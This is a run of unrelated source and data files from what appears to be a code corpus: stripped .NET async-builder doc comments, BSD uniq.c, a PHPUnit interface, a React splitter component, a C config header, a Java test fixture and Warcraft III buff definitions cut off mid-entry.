specified state machine to be pushed forward when the specified awaiter completes.\n \n Specifies the type of the awaiter.\n Specifies the type of the state machine.\n The awaiter.\n The state machine.\n \n \n \n Completes the in the \n RanToCompletion state with the specified result.\n \n The result to use to complete the task.\n The task has already completed.\n \n \n \n Completes the builder by using either the supplied completed task, or by completing\n the builder's previously accessed task using default(TResult).\n \n A task already completed with the value default(TResult).\n The task has already completed.\n \n \n \n Completes the in the \n Faulted state with the specified exception.\n \n The to use to fault the task.\n The argument is null (Nothing in Visual Basic).\n The task has already completed.\n \n \n \n Called by the debugger to request notification when the first wait operation\n (await, Wait, Result, etc.) on this builder's task completes.\n \n \n true to enable notification; false to disable a previously set notification.\n \n \n This should only be invoked from within an asynchronous method,\n and only by the debugger.\n \n \n \n \n Gets a task for the specified result. This will either\n be a cached or new task, never null.\n \n The result for which we need a task.\n The completed task containing the result.\n \n \n Gets the lazily-initialized TaskCompletionSource.\n \n \n Gets the for this builder.\n The representing the builder's asynchronous operation.\n \n \n \n Gets an object that may be used to uniquely identify this builder to the debugger.\n \n \n This property lazily instantiates the ID in a non-thread-safe manner. \n It must only be used by the debugger, and only in a single-threaded manner\n when no other threads are in the middle of accessing this property or this.Task.\n \n \n \n \n Provides a builder for asynchronous methods that return void.\n This type is intended for compiler use only.\n \n \n \n The synchronization context associated with this operation.\n \n \n State related to the IAsyncStateMachine.\n \n \n An object used by the debugger to uniquely identify this builder. Lazily initialized.\n \n \n Temporary support for disabling crashing if tasks go unobserved.\n \n \n Registers with UnobservedTaskException to suppress exception crashing.\n \n \n Non-zero if PreventUnobservedTaskExceptions has already been invoked.\n \n \n Initializes a new .\n The initialized .\n \n \n Initializes the .\n The synchronizationContext associated with this operation. This may be null.\n \n \n Initiates the builder's execution with the associated state machine.\n Specifies the type of the state machine.\n The state machine instance, passed by reference.\n The argument was null (Nothing in Visual Basic).\n \n \n Associates the builder with the state machine it represents.\n The heap-allocated state machine object.\n The argument was null (Nothing in Visual Basic).\n The builder is incorrectly initialized.\n \n \n Perform any initialization necessary prior to lifting the builder to the heap.\n \n \n \n Schedules the specified state machine to be pushed forward when the specified awaiter completes.\n \n Specifies the type of the awaiter.\n Specifies the type of the state machine.\n The awaiter.\n The state machine.\n \n \n \n Schedules the specified state machine to be pushed forward when the specified awaiter completes.\n \n Specifies the type of the awaiter.\n Specifies the type of the state machine.\n The awaiter.\n The state machine.\n \n \n Completes the method builder successfully.\n \n \n Faults the method builder with an exception.\n The exception that is the cause of this fault.\n The argument is null (Nothing in Visual Basic).\n The builder is not initialized.\n \n \n Notifies the current synchronization context that the operation completed.\n \n \n \n Gets an object that may be used to uniquely identify this builder to the debugger.\n \n \n This property lazily instantiates the ID in a non-thread-safe manner. \n It must only be used by the debugger and only in a single-threaded manner.\n \n \n \n \n Represents state machines generated for asynchronous methods.\n This type is intended for compiler use only.\n \n \n \n Moves the state machine to its next state.\n \n \n Configures the state machine with a heap-allocated replica.\n The heap-allocated replica.\n \n \n \n Represents an awaiter used to schedule continuations when an await operation completes.\n \n \n \n \n Represents an operation that will schedule continuations when the operation completes.\n \n \n \n Schedules the continuation action to be invoked when the instance completes.\n The action to invoke when the operation completes.\n The argument is null (Nothing in Visual Basic).\n \n \n Schedules the continuation action to be invoked when the instance completes.\n The action to invoke when the operation completes.\n The argument is null (Nothing in Visual Basic).\n Unlike OnCompleted, UnsafeOnCompleted need not propagate ExecutionContext information.\n \n \n Used with Task(of void)\n \n \n\n"} -{"text": "/*\n * Copyright (c) 1989, 1993\n *\tThe Regents of the University of California. All rights reserved.\n *\n * This code is derived from software contributed to Berkeley by\n * Case Larsen.\n *\n * Redistribution and use in source and binary forms, with or without\n * modification, are permitted provided that the following conditions\n * are met:\n * 1. Redistributions of source code must retain the above copyright\n * notice, this list of conditions and the following disclaimer.\n * 2. Redistributions in binary form must reproduce the above copyright\n * notice, this list of conditions and the following disclaimer in the\n * documentation and/or other materials provided with the distribution.\n * 3. All advertising materials mentioning features or use of this software\n * must display the following acknowledgement:\n *\tThis product includes software developed by the University of\n *\tCalifornia, Berkeley and its contributors.\n * 4. Neither the name of the University nor the names of its contributors\n * may be used to endorse or promote products derived from this software\n * without specific prior written permission.\n *\n * THIS SOFTWARE IS PROVIDED BY THE REGENTS AND CONTRIBUTORS ``AS IS'' AND\n * ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE\n * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE\n * ARE DISCLAIMED. IN NO EVENT SHALL THE REGENTS OR CONTRIBUTORS BE LIABLE\n * FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL\n * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS\n * OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION)\n * HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT\n * LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY\n * OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF\n * SUCH DAMAGE.\n */\n\n#ifndef lint\nstatic char copyright[] =\n\"@(#) Copyright (c) 1989, 1993\\n\\\n\tThe Regents of the University of California. All rights reserved.\\n\";\n#endif /* not lint */\n\n#ifndef lint\nstatic char sccsid[] = \"@(#)uniq.c\t8.3 (Berkeley) 5/4/95\";\n#endif /* not lint */\n\n#include \n#include \n#include \n#include \n#include \n#include \n\n#define\tMAXLINELEN\t(8 * 1024)\n\nint cflag, dflag, uflag;\nint numchars, numfields, repeats;\n\nvoid\t err __P((const char *, ...));\nFILE\t*file __P((char *, char *));\nvoid\t show __P((FILE *, char *));\nchar\t*skip __P((char *));\nvoid\t obsolete __P((char *[]));\nvoid\t usage __P((void));\n\nint\nmain (argc, argv)\n\tint argc;\n\tchar *argv[];\n{\n\tregister char *t1, *t2;\n\tFILE *ifp, *ofp;\n\tint ch;\n\tchar *prevline, *thisline, *p;\n\n\tobsolete(argv);\n\twhile ((ch = getopt(argc, argv, \"-cdf:s:u\")) != EOF)\n\t\tswitch (ch) {\n\t\tcase '-':\n\t\t\t--optind;\n\t\t\tgoto done;\n\t\tcase 'c':\n\t\t\tcflag = 1;\n\t\t\tbreak;\n\t\tcase 'd':\n\t\t\tdflag = 1;\n\t\t\tbreak;\n\t\tcase 'f':\n\t\t\tnumfields = strtol(optarg, &p, 10);\n\t\t\tif (numfields < 0 || *p)\n\t\t\t\terr(\"illegal field skip value: %s\", optarg);\n\t\t\tbreak;\n\t\tcase 's':\n\t\t\tnumchars = strtol(optarg, &p, 10);\n\t\t\tif (numchars < 0 || *p)\n\t\t\t\terr(\"illegal character skip value: %s\", optarg);\n\t\t\tbreak;\n\t\tcase 'u':\n\t\t\tuflag = 1;\n\t\t\tbreak;\n\t\tcase '?':\n\t\tdefault:\n\t\t\tusage();\n\t}\n\ndone:\targc -= optind;\n\targv +=optind;\n\n\t/* If no flags are set, default is -d -u. */\n\tif (cflag) {\n\t\tif (dflag || uflag)\n\t\t\tusage();\n\t} else if (!dflag && !uflag)\n\t\tdflag = uflag = 1;\n\n\tswitch(argc) {\n\tcase 0:\n\t\tifp = stdin;\n\t\tofp = stdout;\n\t\tbreak;\n\tcase 1:\n\t\tifp = file(argv[0], \"r\");\n\t\tofp = stdout;\n\t\tbreak;\n\tcase 2:\n\t\tifp = file(argv[0], \"r\");\n\t\tofp = file(argv[1], \"w\");\n\t\tbreak;\n\tdefault:\n\t\tusage();\n\t}\n\n\tprevline = malloc(MAXLINELEN);\n\tthisline = malloc(MAXLINELEN);\n\tif (prevline == NULL || thisline == NULL)\n\t\terr(\"%s\", strerror(errno));\n\n\tif (fgets(prevline, MAXLINELEN, ifp) == NULL)\n\t\texit(0);\n\n\twhile (fgets(thisline, MAXLINELEN, ifp)) {\n\t\t/* If requested get the chosen fields + character offsets. */\n\t\tif (numfields || numchars) {\n\t\t\tt1 = skip(thisline);\n\t\t\tt2 = skip(prevline);\n\t\t} else {\n\t\t\tt1 = thisline;\n\t\t\tt2 = prevline;\n\t\t}\n\n\t\t/* If different, print; set previous to new value. */\n\t\tif (strcmp(t1, t2)) {\n\t\t\tshow(ofp, prevline);\n\t\t\tt1 = prevline;\n\t\t\tprevline = thisline;\n\t\t\tthisline = t1;\n\t\t\trepeats = 0;\n\t\t} else\n\t\t\t++repeats;\n\t}\n\tshow(ofp, prevline);\n\texit(0);\n}\n\n/*\n * show --\n *\tOutput a line depending on the flags and number of repetitions\n *\tof the line.\n */\nvoid\nshow(ofp, str)\n\tFILE *ofp;\n\tchar *str;\n{\n\n\tif (cflag && *str)\n\t\t(void)fprintf(ofp, \"%4d %s\", repeats + 1, str);\n\tif (dflag && repeats || uflag && !repeats)\n\t\t(void)fprintf(ofp, \"%s\", str);\n}\n\nchar *\nskip(str)\n\tregister char *str;\n{\n\tregister int infield, nchars, nfields;\n\n\tfor (nfields = numfields, infield = 0; nfields && *str; ++str)\n\t\tif (isspace(*str)) {\n\t\t\tif (infield) {\n\t\t\t\tinfield = 0;\n\t\t\t\t--nfields;\n\t\t\t}\n\t\t} else if (!infield)\n\t\t\tinfield = 1;\n\tfor (nchars = numchars; nchars-- && *str; ++str);\n\treturn(str);\n}\n\nFILE *\nfile(name, mode)\n\tchar *name, *mode;\n{\n\tFILE *fp;\n\n\tif ((fp = fopen(name, mode)) == NULL)\n\t\terr(\"%s: %s\", name, strerror(errno));\n\treturn(fp);\n}\n\nvoid\nobsolete(argv)\n\tchar *argv[];\n{\n\tint len;\n\tchar *ap, *p, *start;\n\n\twhile (ap = *++argv) {\n\t\t/* Return if \"--\" or not an option of any form. */\n\t\tif (ap[0] != '-') {\n\t\t\tif (ap[0] != '+')\n\t\t\t\treturn;\n\t\t} else if (ap[1] == '-')\n\t\t\treturn;\n\t\tif (!isdigit(ap[1]))\n\t\t\tcontinue;\n\t\t/*\n\t\t * Digit signifies an old-style option. Malloc space for dash,\n\t\t * new option and argument.\n\t\t */\n\t\tlen = strlen(ap);\n\t\tif ((start = p = malloc(len + 3)) == NULL)\n\t\t\terr(\"%s\", strerror(errno));\n\t\t*p++ = '-';\n\t\t*p++ = ap[0] == '+' ? 's' : 'f';\n\t\t(void)strcpy(p, ap + 1);\n\t\t*argv = start;\n\t}\n}\n\nvoid\nusage()\n{\n\t(void)fprintf(stderr,\n\t \"usage: uniq [-c | -du] [-f fields] [-s chars] [input [output]]\\n\");\n\texit(1);\n}\n\n#if __STDC__\n#include \n#else\n#include \n#endif\n\nvoid\n#if __STDC__\nerr(const char *fmt, ...)\n#else\nerr(fmt, va_alist)\n\tchar *fmt;\n va_dcl\n#endif\n{\n\tva_list ap;\n#if __STDC__\n\tva_start(ap, fmt);\n#else\n\tva_start(ap);\n#endif\n\t(void)fprintf(stderr, \"uniq: \");\n\t(void)vfprintf(stderr, fmt, ap);\n\tva_end(ap);\n\t(void)fprintf(stderr, \"\\n\");\n\texit(1);\n\t/* NOTREACHED */\n}\n"} -{"text": "\n *\n * For the full copyright and license information, please view the LICENSE\n * file that was distributed with this source code.\n */\n\n/**\n * Interface for classes which matches an invocation based on its\n * method name, argument, order or call count.\n *\n * @since Interface available since Release 1.0.0\n */\ninterface PHPUnit_Framework_MockObject_Matcher_Invocation extends PHPUnit_Framework_SelfDescribing, PHPUnit_Framework_MockObject_Verifiable\n{\n /**\n * Registers the invocation $invocation in the object as being invoked.\n * This will only occur after matches() returns true which means the\n * current invocation is the correct one.\n *\n * The matcher can store information from the invocation which can later\n * be checked in verify(), or it can check the values directly and throw\n * and exception if an expectation is not met.\n *\n * If the matcher is a stub it will also have a return value.\n *\n * @param PHPUnit_Framework_MockObject_Invocation $invocation Object containing information on a mocked or stubbed method which was invoked\n *\n * @return mixed\n */\n public function invoked(PHPUnit_Framework_MockObject_Invocation $invocation);\n\n /**\n * Checks if the invocation $invocation matches the current rules. If it does\n * the matcher will get the invoked() method called which should check if an\n * expectation is met.\n *\n * @param PHPUnit_Framework_MockObject_Invocation $invocation Object containing information on a mocked or stubbed method which was invoked\n *\n * @return bool\n */\n public function matches(PHPUnit_Framework_MockObject_Invocation $invocation);\n}\n"} -{"text": "/**\n * Created by Jacky.gao on 2016/5/24.\n */\nimport '../css/jquery.splitter.css';\nimport {} from './jquery-splitter.js';\nimport React,{Component,PropTypes} from 'react';\nimport ReactDOM from 'react-dom';\n\nexport default class Splitter extends Component{\n _sanitizeSplitterPositionValue(position) {\n var newPosition = Math.min(position, window.innerWidth - this.minWidth);\n newPosition = Math.max(newPosition, this.minWidth);\n return newPosition;\n }\n componentDidMount(){\n const $domNode=$(ReactDOM.findDOMNode(this));\n const $splitter=$domNode.split(this.props);\n $(window).resize(function(){\n var newPosition = this._sanitizeSplitterPositionValue($splitter.position());\n if (newPosition !== $splitter.position()) {\n $splitter.position(newPosition);\n }\n let height=$(window).height();\n $domNode.css({height:height});\n }.bind(this));\n let height=$(window).height();\n $domNode.css({height:height});\n }\n render(){\n return (\n
    \n {this.props.children}\n
    \n );\n }\n}"} -{"text": "/**************************************************************************//**\n *\n * @file\n * @brief quanta_sys_eeprom Configuration Header\n *\n * @addtogroup quanta_sys_eeprom-config\n * @{\n *\n *****************************************************************************/\n#ifndef __QUANTA_SYS_EEPROM_CONFIG_H__\n#define __QUANTA_SYS_EEPROM_CONFIG_H__\n\n#ifdef GLOBAL_INCLUDE_CUSTOM_CONFIG\n#include \n#endif\n#ifdef QUANTA_SYS_EEPROM_INCLUDE_CUSTOM_CONFIG\n#include \n#endif\n\n/* */\n#include \n/**\n * QUANTA_SYS_EEPROM_CONFIG_INCLUDE_LOGGING\n *\n * Include or exclude logging. */\n\n\n#ifndef QUANTA_SYS_EEPROM_CONFIG_INCLUDE_LOGGING\n#define QUANTA_SYS_EEPROM_CONFIG_INCLUDE_LOGGING 1\n#endif\n\n/**\n * QUANTA_SYS_EEPROM_CONFIG_LOG_OPTIONS_DEFAULT\n *\n * Default enabled log options. */\n\n\n#ifndef QUANTA_SYS_EEPROM_CONFIG_LOG_OPTIONS_DEFAULT\n#define QUANTA_SYS_EEPROM_CONFIG_LOG_OPTIONS_DEFAULT AIM_LOG_OPTIONS_DEFAULT\n#endif\n\n/**\n * QUANTA_SYS_EEPROM_CONFIG_LOG_BITS_DEFAULT\n *\n * Default enabled log bits. */\n\n\n#ifndef QUANTA_SYS_EEPROM_CONFIG_LOG_BITS_DEFAULT\n#define QUANTA_SYS_EEPROM_CONFIG_LOG_BITS_DEFAULT AIM_LOG_BITS_DEFAULT\n#endif\n\n/**\n * QUANTA_SYS_EEPROM_CONFIG_LOG_CUSTOM_BITS_DEFAULT\n *\n * Default enabled custom log bits. */\n\n\n#ifndef QUANTA_SYS_EEPROM_CONFIG_LOG_CUSTOM_BITS_DEFAULT\n#define QUANTA_SYS_EEPROM_CONFIG_LOG_CUSTOM_BITS_DEFAULT 0\n#endif\n\n/**\n * QUANTA_SYS_EEPROM_CONFIG_PORTING_STDLIB\n *\n * Default all porting macros to use the C standard libraries. */\n\n\n#ifndef QUANTA_SYS_EEPROM_CONFIG_PORTING_STDLIB\n#define QUANTA_SYS_EEPROM_CONFIG_PORTING_STDLIB 1\n#endif\n\n/**\n * QUANTA_SYS_EEPROM_CONFIG_PORTING_INCLUDE_STDLIB_HEADERS\n *\n * Include standard library headers for stdlib porting macros. */\n\n\n#ifndef QUANTA_SYS_EEPROM_CONFIG_PORTING_INCLUDE_STDLIB_HEADERS\n#define QUANTA_SYS_EEPROM_CONFIG_PORTING_INCLUDE_STDLIB_HEADERS QUANTA_SYS_EEPROM_CONFIG_PORTING_STDLIB\n#endif\n\n/**\n * QUANTA_SYS_EEPROM_CONFIG_INCLUDE_UCLI\n *\n * Include generic uCli support. */\n\n\n#ifndef QUANTA_SYS_EEPROM_CONFIG_INCLUDE_UCLI\n#define QUANTA_SYS_EEPROM_CONFIG_INCLUDE_UCLI 0\n#endif\n\n\n\n/**\n * All compile time options can be queried or displayed\n */\n\n/** Configuration settings structure. */\ntypedef struct quanta_sys_eeprom_config_settings_s {\n /** name */\n const char* name;\n /** value */\n const char* value;\n} quanta_sys_eeprom_config_settings_t;\n\n/** Configuration settings table. */\n/** quanta_sys_eeprom_config_settings table. */\nextern quanta_sys_eeprom_config_settings_t quanta_sys_eeprom_config_settings[];\n\n/**\n * @brief Lookup a configuration setting.\n * @param setting The name of the configuration option to lookup.\n */\nconst char* quanta_sys_eeprom_config_lookup(const char* setting);\n\n/**\n * @brief Show the compile-time configuration.\n * @param pvs The output stream.\n */\nint quanta_sys_eeprom_config_show(struct aim_pvs_s* pvs);\n\n/* */\n\n#include \"quanta_sys_eeprom_porting.h\"\n\n#endif /* __QUANTA_SYS_EEPROM_CONFIG_H__ */\n/* @} */\n"} -{"text": "/*\n * DO NOT ALTER OR REMOVE COPYRIGHT NOTICES OR THIS HEADER.\n *\n * Copyright (c) 2014 Oracle and/or its affiliates. All rights reserved.\n *\n * The contents of this file are subject to the terms of either the GNU\n * General Public License Version 2 only (\"GPL\") or the Common Development\n * and Distribution License(\"CDDL\") (collectively, the \"License\"). You\n * may not use this file except in compliance with the License. You can\n * obtain a copy of the License at\n * https://glassfish.dev.java.net/public/CDDL+GPL_1_1.html\n * or packager/legal/LICENSE.txt. See the License for the specific\n * language governing permissions and limitations under the License.\n *\n * When distributing the software, include this License Header Notice in each\n * file and include the License file at packager/legal/LICENSE.txt.\n *\n * GPL Classpath Exception:\n * Oracle designates this particular file as subject to the \"Classpath\"\n * exception as provided by Oracle in the GPL Version 2 section of the License\n * file that accompanied this code.\n *\n * Modifications:\n * If applicable, add the following below the License Header, with the fields\n * enclosed by brackets [] replaced by your own identifying information:\n * \"Portions Copyright [year] [name of copyright owner]\"\n *\n * Contributor(s):\n * If you wish your version of this file to be governed by only the CDDL or\n * only the GPL Version 2, indicate your decision by adding \"[Contributor]\n * elects to include this software in this distribution under the [CDDL or GPL\n * Version 2] license.\" If you don't indicate a single choice of license, a\n * recipient has the option to distribute your version of this file under\n * either the CDDL, the GPL Version 2 or to extend the choice of license to\n * its licensees as provided above. However, if you add GPL Version 2 code\n * and therefore, elected the GPL Version 2 license, then the option applies\n * only if the new code is made subject to such option by the copyright\n * holder.\n */\npackage org.jvnet.testing.hk2mockito.fixture.service;\n\nimport javax.inject.Inject;\nimport org.jvnet.hk2.annotations.Service;\nimport org.jvnet.testing.hk2mockito.fixture.BasicGreetingService;\n\n/**\n *\n * @author Sharmarke Aden\n */\n@Service\npublic class FieldInjectionGreetingService {\n\n @Inject\n private BasicGreetingService collaborator;\n\n public String greet() {\n return collaborator.greet();\n }\n}\n"} -{"text": "[AEsd]\n_code=\"AEsd\"\n_id=\"AEsd\"\n_type=\"buff\"\neditorname=\"Starfall (Target)\"\niseffect=0\nmissilearc=0.0\nmissilehoming=0\nmissilespeed=0\nrace=\"nightelf\"\nspelldetail=0\ntargetart=\"Abilities\\\\Spells\\\\NightElf\\\\Starfall\\\\StarfallTarget.mdl\"\ntargetattach=\"origin\"\ntargetattachcount=0\n\n[AEtr]\n_code=\"AEtr\"\n_id=\"AEtr\"\n_type=\"buff\"\neditorname=\"Tranquility (Target)\"\niseffect=0\nmissilearc=0.0\nmissilehoming=0\nmissilespeed=0\nrace=\"nightelf\"\nspelldetail=0\ntargetart=\"Abilities\\\\Spells\\\\NightElf\\\\Tranquility\\\\TranquilityTarget.mdl\"\ntargetattachcount=0\n\n[ANmd]\n_code=\"ANmd\"\n_id=\"ANmd\"\n_type=\"buff\"\neditorname=\"Monsoon\"\niseffect=0\nmissilearc=0.0\nmissilehoming=0\nmissilespeed=0\nrace=\"other\"\nspelldetail=0\ntargetart=\"Abilities\\\\Spells\\\\Other\\\\Monsoon\\\\MonsoonBoltTarget.mdl\"\ntargetattach=\"origin\"\ntargetattachcount=0\n\n[BCbf]\n_code=\"BCbf\"\n_id=\"BCbf\"\n_type=\"buff\"\nbuffart=\"ReplaceableTextures\\\\CommandButtons\\\\BTNBreathOfFrost.blp\"\nbufftip=\"Breath of Frost\"\nbuffubertip=\"This unit was hit by Breath of Frost; it will take damage over time.\"\niseffect=0\nmissilearc=0.0\nmissilehoming=0\nmissilespeed=0\nrace=\"other\"\nspelldetail=0\ntargetart=\"Abilities\\\\Spells\\\\Other\\\\BreathOfFrost\\\\BreathOfFrostTarget.mdl\"\ntargetattachcount=0\n\n[BCtc]\n_code=\"BCtc\"\n_id=\"BCtc\"\n_type=\"buff\"\nbuffart=\"ReplaceableTextures\\\\CommandButtons\\\\BTNGolemThunderclap.blp\"\nbufftip=\"Slam\"\nbuffubertip=\"This unit has been hit by Slam; its movement speed and attack rate are reduced.\"\niseffect=0\nmissilearc=0.0\nmissilehoming=0\nmissilespeed=0\nrace=\"other\"\nspelldetail=0\ntargetart=\"Abilities\\\\Spells\\\\Orc\\\\StasisTrap\\\\StasisTotemTarget.mdl\"\ntargetattach=\"overhead\"\ntargetattachcount=0\n\n[BEah]\n_code=\"BEah\"\n_id=\"BEah\"\n_type=\"buff\"\nbuffart=\"ReplaceableTextures\\\\CommandButtons\\\\BTNThorns.blp\"\nbufftip=\"Thorns Aura\"\nbuffubertip=\"This unit is under the effects of Thorns Aura; melee units that attack it will take damage.\"\niseffect=0\nmissilearc=0.0\nmissilehoming=0\nmissilespeed=0\nrace=\"nightelf\"\nspecialart=\"Abilities\\\\Spells\\\\NightElf\\\\ThornsAura\\\\ThornsAuraDamage.mdl\"\nspecialattach=\"head\"\nspelldetail=2\ntargetart=\"Abilities\\\\Spells\\\\Other\\\\GeneralAuraTarget\\\\GeneralAuraTarget.mdl\"\ntargetattach=\"origin\"\ntargetattachcount=0\n\n[BEar]\n_code=\"BEar\"\n_id=\"BEar\"\n_type=\"buff\"\nbuffart=\"ReplaceableTextures\\\\CommandButtons\\\\BTNTrueShot.blp\"\nbufftip=\"Trueshot Aura\"\nbuffubertip=\"This unit is under the effects of Trueshot Aura; its ranged attacks will deal more damage.\"\niseffect=0\nmissilearc=0.0\nmissilehoming=0\nmissilespeed=0\nrace=\"nightelf\"\nspelldetail=2\ntargetart=\"Abilities\\\\Spells\\\\Other\\\\GeneralAuraTarget\\\\GeneralAuraTarget.mdl\"\ntargetattach=\"origin\"\ntargetattachcount=0\n\n[BEer]\n_code=\"BEer\"\n_id=\"BEer\"\n_type=\"buff\"\nbuffart=\"ReplaceableTextures\\\\CommandButtons\\\\BTNEntanglingRoots.blp\"\nbufftip=\"Entangling Roots\"\nbuffubertip=\"This unit has been hit by Entangling Roots; it cannot move and takes damage over time.\"\niseffect=0\nmissilearc=0.0\nmissilehoming=0\nmissilespeed=0\nrace=\"nightelf\"\nspelldetail=0\ntargetart=\"Abilities\\\\Spells\\\\NightElf\\\\EntanglingRoots\\\\EntanglingRootsTarget.mdl\"\ntargetattach=\"origin\"\ntargetattachcount=0\n\n[BEfn]\n_code=\"BEfn\"\n_id=\"BEfn\"\n_type=\"buff\"\nbuffart=\"ReplaceableTextures\\\\CommandButtons\\\\BTNEnt.blp\"\nbufftip=\"Force of Nature\"\nbuffubertip=\"Summoned units take damage from dispels.\"\niseffect=0\nmissilearc=0.0\nmissilehoming=0\nmissilespeed=0\nrace=\"nightelf\"\nspelldetail=0\ntargetattachcount=0\n\n[BEia]\n_code=\"BEia\"\n_id=\"BEia\"\n_type=\"buff\"\neditorname=\"Immolation (Caster)\"\niseffect=0\nmissilearc=0.0\nmissilehoming=0\nmissilespeed=0\nrace=\"nightelf\"\nspelldetail=0\ntargetattachcount=0\n\n[BEim]\n_code=\"BEim\"\n_id=\"BEim\"\n_type=\"buff\"\nbuffart=\"ReplaceableTextures\\\\CommandButtons\\\\BTNImmolationOn.blp\"\nbufftip=\"Immolation\"\nbuffubertip=\"This unit has Immolation; nearby enemy ground units will take damage over time.\"\niseffect=0\nmissilearc=0.0\nmissilehoming=0\nmissilespeed=0\nrace=\"nightelf\"\nspecialart=\"Abilities\\\\Spells\\\\NightElf\\\\Immolation\\\\ImmolationDamage.mdl\"\nspecialattach=\"head\"\nspelldetail=0\ntargetart=\"Abilities\\\\Spells\\\\NightElf\\\\Immolation\\\\ImmolationTarget.mdl\"\ntargetattachcount=0\n\n[BEme]\n_code=\"BEme\"\n_id=\"BEme\"\n_type=\"buff\"\nbuffart=\"ReplaceableTextures\\\\CommandButtons\\\\BTNMetamorphosis.blp\"\nbufftip=\"Metamorphosis\"\nbuffubertip=\"Transforms the Demon Hunter into a powerful Demon with a ranged attack.\"\niseffect=0\nmissilearc=0.0\nmissilehoming=0\nmissilespeed=0\nrace=\"nightelf\"\nspelldetail=0\ntargetattachcount=0\n\n[BEsh]\n_code=\"BEsh\"\n_id=\"BEsh\"\n_type=\"buff\"\nbuffart=\"ReplaceableTextures\\\\CommandButtons\\\\BTNShadowStrike.blp\"\nbufftip=\"Shadow Strike\"\nbuffubertip=\"This unit was hit by Shadow Strike; it will take damage over time and move more slowly.\"\niseffect=0\nmissilearc=0.0\nmissilehoming=0\nmissilespeed=0\nrace=\"nightelf\"\nspelldetail=0\ntargetart=\"Abilities\\\\Spells\\\\NightElf\\\\shadowstrike\\\\shadowstrike.mdl\"\ntargetattach=\"overhead\"\ntargetattachcount=0\n\n[BEst]\n_code=\"BEst\"\n_id=\"BEst\"\n_type=\"buff\"\nbufftip=\"Scout\"\nbuffubertip=\"Summoned units take damage from dispels.\"\niseffect=0\nmissilearc=0.0\nmissilehoming=0\nmissilespeed=0\nrace=\"nightelf\"\nspelldetail=0\ntargetattachcount=0\n\n[BEsv]\n_code=\"BEsv\"\n_id=\"BEsv\"\n_type=\"buff\"\nbuffart=\"ReplaceableTextures\\\\CommandButtons\\\\BTNSpiritOfVengeance.blp\"\nbufftip=\"Vengeance\"\nbuffubertip=\"Vengeance is angry.\"\neffectart=\"Abilities\\\\Spells\\\\Orc\\\\FeralSpirit\\\\feralspiritdone.mdl\"\niseffect=0\nmissilearc=0.0\nmissilehoming=0\nmissilespeed=0\nrace=\"nightelf\"\nspelldetail=0\ntargetattachcount=0\n\n[BFig]\n_code=\"BFig\"\n_id=\"BFig\"\n_type=\"buff\"\nbufftip=\"Summoned Unit\"\nbuffubertip=\"Summoned units take additional damage from dispels.\"\neffectart=\"Abilities\\\\Spells\\\\Orc\\\\FeralSpirit\\\\feralspiritdone.mdl\"\niseffect=0\nmissilearc=0.0\nmissilehoming=0\nmissilespeed=0\nrace=\"other\"\nspelldetail=0\ntargetattachcount=0\n\n[BHab]\n_code=\"BHab\"\n_id=\"BHab\"\n_type=\"buff\"\nbuffart=\"ReplaceableTextures\\\\CommandButtons\\\\BTNBrilliance.blp\"\nbufftip=\"Brilliance Aura\"\nbuffubertip=\"This unit is under the effects of Brilliance Aura; it has an increased mana regeneration.\"\niseffect=0\nmissilearc=0.0\nmissilehoming=0\nmissilespeed=0\nrace=\"human\"\nspelldetail=2\ntargetart=\"Abilities\\\\Spells\\\\Other\\\\GeneralAuraTarget\\\\GeneralAuraTarget.mdl\"\ntargetattach=\"origin\"\ntargetattachcount=0\n\n[BHad]\n_code=\"BHad\"\n_id=\"BHad\"\n_type=\"buff\"\nbuffart=\"ReplaceableTextures\\\\CommandButtons\\\\BTNDevotion.blp\"\nbufftip=\"Devotion Aura\"\nbuffubertip=\"This unit is under the effects of Devotion Aura; it has increased armor.\"\niseffect=0\nmissilearc=0.0\nmissilehoming=0\nmissilespeed=0\nrace=\"human\"\nspelldetail=2\ntargetart=\"Abilities\\\\Spells\\\\Other\\\\GeneralAuraTarget\\\\GeneralAuraTarget.mdl\"\ntargetattach=\"origin\"\ntargetattachcount=0\n\n[BHav]\n_code=\"BHav\"\n_id=\"BHav\"\n_type=\"buff\"\nbuffart=\"ReplaceableTextures\\\\CommandButtons\\\\BTNAvatar.blp\"\nbufftip=\"Avatar\"\nbuffubertip=\"This unit is in Avatar form; it has increased hit points, attack damage, armor, and is immune to spells.\"\niseffect=0\nmissilearc=0.0\nmissilehoming=0\nmissilespeed=0\nrace=\"human\"\nspelldetail=0\ntargetattachcount=0\n\n[BHbd]\n_code=\"BHbd\"\n_id=\"BHbd\"\n_type=\"buff\"\nbuffart=\"ReplaceableTextures\\\\CommandButtons\\\\BTNBlizzard.blp\"\nbufftip=\"Blizzard\"\nbuffubertip=\"This unit is being damaged by Blizzard.\"\niseffect=0\nmissilearc=0.0\nmissilehoming=0\nmissilespeed=0\nrace=\"human\"\nspelldetail=0\ntargetart=\"Abilities\\\\Spells\\\\Other\\\\FrostDamage\\\\FrostDamage.mdl\"\ntargetattachcount=0\n\n[BHbn]\n_code=\"BHbn\"\n_id=\"BHbn\"\n_type=\"buff\"\nbuffart=\"ReplaceableTextures\\\\CommandButtons\\\\BTNBanish.blp\"\nbufftip=\"Banish\"\nbuffubertip=\"This unit is Banished; Banished creatures cannot attack, but they can cast spells and will take extra damage from Magic attacks and spells.\"\neffectsoundlooped=\"BanishLoop\"\niseffect=0\nmissilearc=0.0\nmissilehoming=0\nmissilespeed=0\nrace=\"human\"\nspelldetail=0\ntargetart=\"Abilities\\\\Spells\\\\Human\\\\Banish\\\\BanishTarget.mdl\"\ntargetattachcount=0\n\n[BHbz]\n_code=\"BHbz\"\n_id=\"BHbz\"\n_type=\"buff\"\neditorname=\"Blizzard 